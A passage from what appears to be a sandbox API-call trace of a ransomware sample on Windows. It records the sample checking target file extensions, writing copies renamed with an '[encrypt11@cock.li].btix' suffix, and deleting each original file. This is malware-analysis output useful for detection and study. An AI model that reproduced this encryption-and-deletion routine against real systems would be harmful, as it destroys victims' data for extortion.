nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0042.347] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xe4, lpOverlapped=0x0) returned 1 [0042.347] SetEndOfFile (hFile=0x308) returned 1 [0042.347] CloseHandle (hObject=0x308) returned 1 [0042.347] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0042.348] SetEndOfFile (hFile=0x32c) returned 1 [0042.348] CloseHandle (hObject=0x32c) returned 1 [0042.348] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.349] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1 [0042.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0042.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0042.349] lstrlenW (lpString=".doc") returned 4 [0042.349] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0042.349] lstrlenW (lpString=".docx") returned 5 [0042.349] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0042.349] lstrlenW (lpString=".pdf") returned 4 [0042.349] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0042.349] lstrlenW (lpString=".xls") returned 4 [0042.349] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0042.349] lstrlenW (lpString=".xlsx") returned 5 [0042.349] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0042.349] lstrlenW (lpString=".ppt") returned 4 [0042.349] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0042.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0042.349] lstrlenW (lpString=".zip") returned 4 [0042.349] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0042.349] lstrlenW (lpString=".rar") returned 4 [0042.349] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0042.349] lstrlenW (lpString=".bz2") returned 4 [0042.349] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0042.349] lstrlenW (lpString=".7z") returned 3 [0042.350] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0042.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0042.350] lstrlenW (lpString=".dbf") returned 4 [0042.350] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0042.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0042.350] lstrlenW (lpString=".1cd") returned 4 [0042.350] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0042.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0042.350] lstrlenW (lpString=".jpg") returned 4 [0042.350] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0042.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0042.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0042.350] lstrlenW (lpString=".doc") returned 4 [0042.350] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0042.350] lstrlenW (lpString=".docx") returned 5 [0042.350] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0042.350] lstrlenW (lpString=".pdf") returned 4 [0042.350] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0042.350] lstrlenW (lpString=".xls") returned 4 [0042.350] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0042.350] lstrlenW (lpString=".xlsx") returned 5 [0042.350] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0042.350] lstrlenW (lpString=".ppt") returned 4 [0042.350] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0042.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0042.350] lstrlenW (lpString=".zip") returned 4 [0042.350] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0042.350] lstrlenW (lpString=".rar") returned 4 [0042.350] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0042.350] lstrlenW (lpString=".bz2") returned 4 [0042.350] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0042.350] lstrlenW (lpString=".7z") returned 3 [0042.350] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0042.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0042.350] lstrlenW (lpString=".dbf") returned 4 [0042.350] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0042.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0042.351] lstrlenW (lpString=".1cd") returned 4 [0042.351] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0042.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0042.351] lstrlenW (lpString=".jpg") returned 4 [0042.351] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0042.351] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0042.351] lstrlenW (lpString="LocalizedData.xml") returned 17 [0042.351] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0042.351] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=77022) returned 1 [0042.351] CloseHandle (hObject=0x32c) returned 1 [0042.351] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0042.351] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.351] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0042.351] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0042.351] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0042.351] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0042.352] GetLastError () returned 0x0 [0042.352] ReadFile (in: hFile=0x32c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x12cde, lpOverlapped=0x0) returned 1 [0042.438] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x12ce0, lpOverlapped=0x0) returned 1 [0042.439] ReadFile (in: hFile=0x32c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0042.439] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xf6, lpOverlapped=0x0) returned 1 [0042.439] SetEndOfFile (hFile=0x308) returned 1 [0042.440] CloseHandle (hObject=0x308) returned 1 [0042.441] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0042.441] SetEndOfFile (hFile=0x32c) returned 1 [0042.442] CloseHandle (hObject=0x32c) returned 1 [0042.442] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.443] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1 [0042.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0042.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0042.443] lstrlenW (lpString=".doc") returned 4 [0042.443] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.443] lstrlenW (lpString=".docx") returned 5 [0042.443] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0042.443] lstrlenW (lpString=".pdf") returned 4 [0042.443] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.443] lstrlenW (lpString=".xls") returned 4 [0042.443] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.443] lstrlenW (lpString=".xlsx") returned 5 [0042.443] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0042.443] lstrlenW (lpString=".ppt") returned 4 [0042.443] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0042.443] lstrlenW (lpString=".zip") returned 4 [0042.443] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.443] lstrlenW (lpString=".rar") returned 4 [0042.443] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.443] lstrlenW (lpString=".bz2") returned 4 [0042.443] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.443] lstrlenW (lpString=".7z") returned 3 [0042.443] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0042.443] lstrlenW (lpString=".dbf") returned 4 [0042.443] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0042.444] lstrlenW (lpString=".1cd") returned 4 [0042.444] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0042.444] lstrlenW (lpString=".jpg") returned 4 [0042.444] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0042.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0042.444] lstrlenW (lpString=".doc") returned 4 [0042.444] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.444] lstrlenW (lpString=".docx") returned 5 [0042.444] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0042.444] lstrlenW (lpString=".pdf") returned 4 [0042.444] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.444] lstrlenW (lpString=".xls") returned 4 [0042.444] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.444] lstrlenW (lpString=".xlsx") returned 5 [0042.444] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0042.444] lstrlenW (lpString=".ppt") returned 4 [0042.444] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0042.444] lstrlenW (lpString=".zip") returned 4 [0042.444] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.444] lstrlenW (lpString=".rar") returned 4 [0042.444] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.444] lstrlenW (lpString=".bz2") returned 4 [0042.444] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.444] lstrlenW (lpString=".7z") returned 3 [0042.445] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.445] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0042.445] lstrlenW (lpString=".dbf") returned 4 [0042.445] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.445] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0042.445] lstrlenW (lpString=".1cd") returned 4 [0042.445] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.445] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0042.445] lstrlenW (lpString=".jpg") returned 4 [0042.445] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.445] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0042.445] lstrlenW (lpString="LocalizedData.xml") returned 17 [0042.445] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0043.217] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=72076) returned 1 [0043.217] CloseHandle (hObject=0x348) returned 1 [0043.218] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0043.218] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.220] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0043.220] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.220] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.220] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0043.220] GetLastError () returned 0x0 [0043.220] ReadFile (in: hFile=0x308, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x1198c, lpOverlapped=0x0) returned 1 [0043.268] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x11990, lpOverlapped=0x0) returned 1 [0043.270] ReadFile (in: hFile=0x308, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0043.270] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xf6, lpOverlapped=0x0) returned 1 [0043.270] SetEndOfFile (hFile=0x328) returned 1 [0043.271] CloseHandle (hObject=0x328) returned 1 [0043.272] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.272] SetEndOfFile (hFile=0x308) returned 1 [0043.273] CloseHandle (hObject=0x308) returned 1 [0043.273] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.274] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1 [0043.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0043.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0043.274] lstrlenW (lpString=".doc") returned 4 [0043.274] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.274] lstrlenW (lpString=".docx") returned 5 [0043.274] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.274] lstrlenW (lpString=".pdf") returned 4 [0043.274] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.274] lstrlenW (lpString=".xls") returned 4 [0043.274] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.274] lstrlenW (lpString=".xlsx") returned 5 [0043.274] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.274] lstrlenW (lpString=".ppt") returned 4 [0043.274] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0043.274] lstrlenW (lpString=".zip") returned 4 [0043.274] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.274] lstrlenW (lpString=".rar") returned 4 [0043.274] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.274] lstrlenW (lpString=".bz2") returned 4 [0043.274] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.274] lstrlenW (lpString=".7z") returned 3 [0043.274] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0043.274] lstrlenW (lpString=".dbf") returned 4 [0043.275] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0043.275] lstrlenW (lpString=".1cd") returned 4 [0043.275] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0043.275] lstrlenW (lpString=".jpg") returned 4 [0043.275] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0043.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0043.275] lstrlenW (lpString=".doc") returned 4 [0043.275] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.275] lstrlenW (lpString=".docx") returned 5 [0043.275] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.275] lstrlenW (lpString=".pdf") returned 4 [0043.275] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.275] lstrlenW (lpString=".xls") returned 4 [0043.275] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.275] lstrlenW (lpString=".xlsx") returned 5 [0043.275] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.275] lstrlenW (lpString=".ppt") returned 4 [0043.275] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0043.275] lstrlenW (lpString=".zip") returned 4 [0043.275] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.275] lstrlenW (lpString=".rar") returned 4 [0043.275] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.275] lstrlenW (lpString=".bz2") returned 4 [0043.275] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.275] lstrlenW (lpString=".7z") returned 3 [0043.275] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0043.275] lstrlenW (lpString=".dbf") returned 4 [0043.275] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0043.276] lstrlenW (lpString=".1cd") returned 4 [0043.276] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0043.276] lstrlenW (lpString=".jpg") returned 4 [0043.276] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.276] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0043.276] lstrlenW (lpString="eula.rtf") returned 8 [0043.276] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.345] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=3643) returned 1 [0043.345] CloseHandle (hObject=0x320) returned 1 [0043.345] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0043.345] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.345] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.345] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.345] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.345] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0043.354] GetLastError () returned 0x0 [0043.354] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xe3b, lpOverlapped=0x0) returned 1 [0043.663] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xe40, lpOverlapped=0x0) returned 1 [0043.663] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0043.664] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xe4, lpOverlapped=0x0) returned 1 [0043.664] SetEndOfFile (hFile=0x328) returned 1 [0043.664] CloseHandle (hObject=0x328) returned 1 [0043.664] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.664] SetEndOfFile (hFile=0x320) returned 1 [0043.665] CloseHandle (hObject=0x320) returned 1 [0043.665] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.665] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1 [0043.665] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0043.665] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0043.665] lstrlenW (lpString=".doc") returned 4 [0043.666] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.666] lstrlenW (lpString=".docx") returned 5 [0043.666] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.666] lstrlenW (lpString=".pdf") returned 4 [0043.666] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.666] lstrlenW (lpString=".xls") returned 4 [0043.666] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.666] lstrlenW (lpString=".xlsx") returned 5 [0043.666] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.666] lstrlenW (lpString=".ppt") returned 4 [0043.666] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.666] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0043.666] lstrlenW (lpString=".zip") returned 4 [0043.666] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.666] lstrlenW (lpString=".rar") returned 4 [0043.666] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.666] lstrlenW (lpString=".bz2") returned 4 [0043.666] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.666] lstrlenW (lpString=".7z") returned 3 [0043.666] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.666] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0043.666] lstrlenW (lpString=".dbf") returned 4 [0043.666] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.666] lstrlenW 